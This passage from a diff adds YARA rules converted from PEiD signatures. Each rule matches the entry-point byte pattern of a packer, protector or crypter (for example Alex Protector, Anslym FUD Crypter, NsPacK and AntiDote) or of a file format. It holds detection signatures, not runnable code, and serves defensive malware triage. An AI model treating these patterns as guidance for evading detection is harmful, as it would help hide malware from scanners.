+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 EB 01 E9 FF FF 60 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 8B D8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 8B CA EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 0F 31 03 C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 13 D1 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 EB 05 68 F0 0F C7 C8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 85}
+    condition:
+        $a
+}
+
+rule PEiD_00053_Alex_Protector_v0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector v0.4 beta 1 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 00 00 00 00 49 E8 01 00 00 00 68 83 C4 04 85 C9 75 DF E8 B9 02 00 00 E8 01 00 00 00 C7 83 C4 04 8D 95 63 14 40 00 E8 01 00 00 00 C7 83 C4 04 90 90 90 E8 CA 01 00 00 01 02 03 04 05 68 90 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00054_Alex_Protector_v1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector v1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+    condition:
+        $a
+}
+/*
+rule PEiD_00055_Alias_PIX_Vivid_IMG_Graphics_format_
+{
+    meta:
+        description = "[Alias PIX/Vivid IMG Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 ?? ?? 00 18 ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+*/
+rule PEiD_00056_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+    condition:
+        $a
+}
+
+rule PEiD_00057_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85}
+    condition:
+        $a
+}
+
+rule PEiD_00058_Alloy_v1_x_2000_
+{
+    meta:
+        description = "[Alloy v1.x.2000]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00059_Aluwain_v8_09_
+{
+    meta:
+        description = "[Aluwain v8.09]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 1E E8 ?? ?? 9D 5E}
+    condition:
+        $a
+}
+
+rule PEiD_00060_Amiga_AIFF_8SFX_Audio_file_
+{
+    meta:
+        description = "[Amiga AIFF 8SFX Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 38 53 56 58 56 48 44 52}
+    condition:
+        $a
+}
+
+rule PEiD_00061_Amiga_IFF_ILBM_Graphics_format_
+{
+    meta:
+        description = "[Amiga IFF/ILBM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 49 4C 42 4D 42 4D 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00062_ANDpakk2_0_06___by_Dmitry__AND__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry \"AND\" Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_00063_ANDpakk2_0_06___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_00064_ANDpakk2_0_18___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.18 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_00065_Anskya_Binder_v1_1____Anskya_
+{
+    meta:
+        description = "[Anskya Binder v1.1 -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a
+}
+rule PEiD_00066_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70}
+    condition:
+        $a
+}
+
+rule PEiD_00067_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+    condition:
+        $a
+}
+
+rule PEiD_00068_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00069_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00070_Anslym_FUD_Crypter___Sign_by_fly_
+{
+    meta:
+        description = "[Anslym FUD Crypter ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+    condition:
+        $a
+}
+/*
+rule PEiD_00071_Anti007____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_00072_Anti007_V1_0_V2_X____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V1.0-V2.X -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74}
+    condition:
+        $a
+}
+
+rule PEiD_00073_Anti007_V2_5_V2_6____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.5-V2.6 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53}
+    condition:
+        $a
+}
+
+rule PEiD_00074_Anti007_V2_6____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[Anti007 V2.6 -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00075_Anti007_V2_7_V3_5____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.7-V3.5 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54}
+    condition:
+        $a
+}
+rule PEiD_00076_Anticrack_Software_Protector_v1_09__ACProtect__
+{
+    meta:
+        description = "[Anticrack Software Protector v1.09 (ACProtect)]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00077_AntiDote_1_0_Beta____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Beta -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00078_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08}
+    condition:
+        $a
+}
+
+rule PEiD_00079_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 8B 4C 24 14 8D 04 80 8B 4C C1 08 85 C9 74 1A 8B C1 33 D2 F7 F6 85 D2 75 04 03 F9 EB 0C 8B C1 33 D2 F7 F6 40 0F AF C6 03 F8 43 8B C3 25 FF FF 00 00 3B C5 7E CB 8B C7 5F 5E 5D 5B C3 90 90 90 90 90 90 90 90 90 90 90 90 55 8B EC 6A FF 68 50 22 60 00 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00080_AntiDote_1_0_Demo___1_2____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Demo / 1.2 -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_00081_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52}
+    condition:
+        $a
+}
+rule PEiD_00082_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00083_AntiDote_1_2_Beta__Demo_____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2 Beta (Demo) -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00084_AntiDote_1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00085_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00086_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_00087_AntiDote_1_2_1_4_SE_DLL____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2/1.4 SE DLL -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a
+}
+
+rule PEiD_00088_AntiDote_1_4_SE____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.4 SE -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00089_AntiDote_V1_2____SIS_Team___Sign_by_fly_
+{
+    meta:
+        description = "[AntiDote V1.2 -> SIS-Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
